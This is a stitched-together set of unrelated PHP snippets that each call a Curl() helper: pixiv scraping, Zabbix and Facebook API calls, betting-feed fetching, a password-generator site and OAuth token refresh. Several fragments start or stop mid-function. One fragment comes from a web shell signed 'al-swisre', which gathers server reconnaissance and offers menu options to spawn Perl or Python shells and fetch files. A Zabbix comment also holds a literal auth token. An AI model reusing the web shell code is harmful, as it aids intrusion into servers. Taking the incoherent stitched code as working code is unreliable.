function GetFollowings($pages) { global $cookie_file; $pages = 1; $followings = array(); while (true) { Msg(0, "Page number is '{$pages}'.\n"); $url = 'http://www.pixiv.net/bookmark.php?type=user&rest=show&p=' . $pages; list($html, $info) = @Curl($url, ''); # 今見ているページのfollowingsを取得 $q = '//section/div[ @class = "members" ]/ul/li/div[ @class = "usericon" ]/a'; $res = HtmlParse($html, $q); if ($res->length != 0) { foreach ($res as $node) { $href = $node->getAttribute('href'); // srcは実際に表示されているとき $matchs = array(); preg_match('/\\w+\\.\\w+\\?\\w+=(\\d+)/', $href, $matchs); array_push($followings, $matchs[1]); } } else { return false; } # 次のページありゅ? $q = '//section/div[ @class = "pages" ]/ol/li/a[ @rel = "next"]'; // next page $res = HtmlParse($html, $q); if ($res->length == 2) { $pages = $pages + 1; } else { return $followings; } } }
private function GetFeed() { $json = Curl('https://api.beteasy.com.au/Event/QueryMasterEventsByClassAndOrderBy?OnlyIsOpenForBetting=true&DateFrom=2015-03-04T04%3A55%3A00.0000000%2B00%3A00&DateTo=2016-03-04T12%3A59%3A00.0000000%2B00%3A00&MasterEventTypeID=2&EventTypes=101&MasterCategoryID=16&CategoryClassOrderBys=0-99&EventClassOrderByMode=1&EventClassOrderByValue=1&RowsPerPage=50&CurrentPage=0'); if (($data = json_decode($json)) === false) { // do nothing } else { //var_dump($data->Results[0]); } return $data->Results[0]; }
function login() { //调用全局变量 global $username; global $password; global $url; global $header; $logininfo = '{"jsonrpc": "2.0","method":"user.login","params":{"user":"******","password":"******"},"auth": null,"id":0}'; $result = Curl($url, $header, $logininfo); return $result->result; }
function CookieLogin() { // cookie_fileでログインできるか? global $session_id; $url = 'https://www.secure.pixiv.net/login.php'; $log_file_name = 'cookie_login'; list($html, $info) = @Curl($url); // urlからcontentを引っ張ってくる HtmlDump($html, $log_file_name); if ($info['url'] == 'http://www.pixiv.net/') { // 成功 Msg(0, "Your login is successful!\n"); return 0; } else { // 失敗 Msg('error', "Failed your login...\n", 'error'); Msg(0, "Please pass a login with 'login.php' before execution {$argv['0']}.\n"); exit(1); // 失敗したらオシマイ } }
public static function getOpenSysApiPost($method, $paArr, $idc = '') { include_once WEB_PATH . "api/include/functions.php"; if (empty($method) || empty($paArr) || !is_array($paArr)) { //参数不规范 self::$errCode = 301; self::$errMsg = '参数信息不规范'; return false; } else { $paramArr = array('format' => 'json', 'v' => '1.0', 'app_key' => 'valsun.cn', 'protocol' => 'param2'); $paramArr['method'] = $method; //调用接口名称,系统级参数 foreach ($paArr as $key => $value) { if (!is_array($value)) { //如果传递的应用级参数不是数组的话,直接加入到paramArr中 $paramArr[$key] = $value; } else { $paramArr['jsonArr'] = base64_encode(json_encode($value)); //对数组进行jsonencode再对其进行base64编码进行传递,否则直接传递数组会出错 } } //生成签名 $sign = createSign2($paramArr, self::$token); //echo $sign,"<br/>"; //组织参数 $strParam = createStrParam($paramArr); $strParam .= 'sign=' . $sign; //echo $strParam,"<br/>"; if ($idc == '') { $url = self::$url; } else { $url = 'http://gw.open.valsun.cn:88/router/rest?'; } //构造Url $urls = $url . $strParam; // echo self::$token.'<br>'; //echo $urls; // exit; //连接超时自动重试3次 $cnt = 0; while ($cnt < 3 && ($result = @Curl($urls, $paramArr)) === FALSE) { $cnt++; } //print_r($result); // exit; $data = json_decode($result, true); // var_dump($data,$result,"++___+++");exit; if ($data) { self::$errCode = 200; self::$errMsg = 'Success'; return $data; } else { self::$errCode = "000"; self::$errMsg = "is empty!"; } } }
*可以在linux上试试 curl -i -X POST -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"host.get","params":{"output":["hostid","name"],"filter":{"host":""}},"auth":"e81981f57500ede530007104df178f08","id":1}' http://zabbix.54im.com/zabbix/api_jsonrpc.php *上面接口我们用的json字符串格式,下面我们尝试下数组方式,注意要将数组转成json格式 *$hostinfo = '{"jsonrpc":"2.0","method":"host.get","params":{"output":["hostid","name"],"filter":{"host":""}},"auth":"e81981f57500ede530007104df178f08","id":1}'; **/ $hostinfo = array('jsonrpc' => '2.0', 'method' => 'host.get', "params" => array("ouput" => "hostid", "name", "filter" => array("host" => "")), "auth" => $token, "id" => 1); /* $hostinfo = array( 'jsonrpc' => '2.0', 'method' => 'host.get', "params" =>array( "output" => ["hostid","name"], "filter" => array( "host" =>"", ) ), "auth"=>$token, "id"=>1 ); */ $data = json_encode($hostinfo); //print_r($data); $result = Curl($url, $header, $data); //print_r($result); echo "<br />"; echo "<br />"; echo "<br />"; $result = $result->result; //print_r( $result); foreach ($result as $k) { echo $k . "<br />"; }
function before_filter() { if (!empty($_SESSION['fbuserId'])) { // pagina activa: $this->activefbpage = json_decode(Curl("https://graph.facebook.com/" . $this->id_current_page . "?access_token=" . $this->access_token_current_page)); } // current user to display its data if (!empty($_SESSION['manager_id'])) { $this->useractive = $this->Manager->Find($_SESSION['manager_id']); } }
if ($act == "login") { $data['username'] = $_POST['username']; $data['password'] = $_POST['password']; $islogin = Curl("http://api.vgoule.com/Login.json", "POST", json_encode($data)); $isloginobj = json_decode($islogin); if (in_array($isloginobj->code, array(1000, 1002))) { $_SESSION['token'] = $isloginobj->data->token; die(json_encode(array("code" => 200, "data" => $isloginobj->text))); } else { die(json_encode(array("code" => $isloginobj->code, "data" => $isloginobj->text))); } } elseif ($act == "encrypt") { $data['pass'] = $_POST['p']; $data['key'] = $_POST['key']; $data['num'] = $_POST['num']; $data['token'] = $_SESSION['token']; die(Curl("http://api.vgoule.com/Encrypt.json", "POST", json_encode($data))); } elseif ($act == "addKey") { $data['key'] = $_POST['key']; $data['token'] = $_SESSION['token']; die(Curl("http://api.vgoule.com/addKey.json", "POST", json_encode($data))); } elseif ($act == "Signout") { $sige = $_POST['sige']; $md5sige = $_SESSION['sige']; if ($sige == $md5sige) { unset($_SESSION['token']); die('{"code":"200","text":"退出成功"}'); } else { die('{"code":"201","text":"退出失败"}'); } }
function refreshToken($appKey, $appSecret, $refresh_token, $getTokenUrl) { $data = array('grant_type' => 'refresh_token', 'client_id' => $appKey, 'client_secret' => $appSecret, 'refresh_token' => $refresh_token); $data['_aop_signature'] = Sign($data, $appSecret); return json_decode(Curl($getTokenUrl, $data), true); }
if ($sws != 'al-swisre') { echo "Coded by al-swisre"; exit; } if (strlen($dir) > 1 && $dir[1] == ":") { $os = "Windows"; } else { $os = "Linux"; } $read = @file_get_contents("http://s92443018.onlinehome.us/cgi-bin/host.php?{$ips}"); $r3ad = @file_get_contents("http://aruljohn.com/track.pl?host={$ips}"); $ipnet = @findit($read, "<td nowrap>IP-Network</td><td> </td><td nowrap>", "</td>"); $ipb = @findit($read, "<td nowrap>IP-Network-Block</td><td> </td><td nowrap>", "</td>"); $hostname = @findit($read, "Hostname:", "<br>"); $isp = @findit($r3ad, "ISP</td><td>", "</td>"); echo "<div class='info'><table cellpadding='0' align='center' width='60%' >\r\n<tr><td colspan='2'>Information Server</td><tr>\r\n<tr><td>Hostname</td><td>" . $hostname . "</td></tr>\r\n<tr><td>ISP</td><td>" . $isp . "</td></tr>\r\n<tr><td>IP-Network</td><td>" . $ipnet . "</td></tr>\r\n<tr><td>IP-Network-Block</td><td>" . $ipb . "</td></tr>\r\n<tr><td>Safe Mode</td><td>" . ($safe_mode ? " : <b><font color=red>ON</font></b>" : "<b><font color=green>OFF</font></b>") . "</td></tr>\r\n<tr><td>System</td><td>" . $os . "</td></tr>\r\n<tr><td>PHP Version </td><td>" . phpversion() . "</td></tr>\r\n<tr><td>Zend Version </td><td>" . @zend_version() . "</td></tr>\r\n<tr><td>Magic_Quotes </td><td>" . magicQouts() . "</td></tr>\r\n<tr><td>Curl </td><td>" . Curl() . "</td></tr>\r\n<tr><td>Register Globals </td><td>" . RegisterGlobals() . "</td></tr>\r\n<tr><td>Open Basedir </td><td>" . openBaseDir() . "</td></tr>\r\n<tr><td>Gzip </td><td>" . Gzip() . "</td></tr>\r\n<tr><td>Free Space </td><td>" . HardSize(disk_free_space('/')) . "</td></tr>\r\n<tr><td>Total Space </td><td>" . HardSize(disk_total_space("/")) . "</td></tr>\r\n<tr><td>MySQL</td><td>" . MySQL2() . "</td></tr>\r\n<tr><td>MsSQL</td><td>" . MsSQL() . " </td></tr>\r\n<tr><td>PostgreSQL</td><td>" . PostgreSQL() . "</td> </tr>\r\n<tr><td>Oracle</td><td>" . Oracle() . "</td></tr>"; exit; break; ///////////////////////////////// bypass /////////////////////// ///////////////////////////////// bypass /////////////////////// case 'byp': echo '<div class="cont3"> [ <a href="?sws=byp"> bypass </a>] [<a href="?sws=byp&op=shell&sh=perl">Make Shell Perl</a>] [<a href="?sws=byp&op=shell&sh=py"> Make Shell Python </a>] [<a href="?sws=byp&op=g3t"> Get file </a>] </div><br /><br />'; $op = $_GET['op'];
curl_setopt($ch, CURLOPT_POSTFIELDS, $curlPost); } $data = curl_exec($ch); curl_close($ch); } catch (Exception $e) { $data = null; } } return $data; } if (is_nologin()) { $title = "用户登录"; } else { $title = "密码生成器"; $json = json_encode(array("token" => $_SESSION['token'])); $GetKeyList = json_decode(Curl("http://api.vgoule.com/GetKeyList.json", "POST", $json), true); } $_SESSION['sige'] = md5(mt_rand(1, 999) . microtime(true)); ?> <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no"> <title><?php echo $title; ?> </title> <link rel="stylesheet" href="//cdn.bootcss.com/bootstrap/3.3.5/css/bootstrap.min.css"> <script src="//cdn.bootcss.com/jquery/1.11.3/jquery.min.js"></script> </head>
function NextArtWorkExist($artwork_id) { $url = 'http://www.pixiv.net/member_illust.php?mode=medium&illust_id=' . $artwork_id; $log_file_name = 'next_artwork_id_' . $artwork_id; list($html, $info) = @Curl($url); // urlからcontentを引っ張ってくる $q = '//ul/li[ @class = "before" ]/a'; // 次の作品 $res = HtmlParse($html, $q); if ($res->length == 1) { // 次のページがあるとき foreach ($res as $node) { $matchs = array(); // 次のillust_idを探す preg_match('/illust_id=(\\d+)/', $node->getAttribute("href"), $matchs); $next_artwork_id = $matchs[1]; } return $next_artwork_id; } else { // 次のページがないとき Msg(0, "This artwork_id '" . $artwork_id . "' is the latest.\n"); return $artwork_id; // 同じartwork_idを返す } }
function GetFbPosts() { return json_decode(Curl("https://graph.facebook.com/" . $_SESSION['fbfanpage'] . "/posts?access_token=" . $_SESSION['fbfanpagetoken'])); }
private function postData($data) { global $url; global $header; return Curl($url, $header, $data); }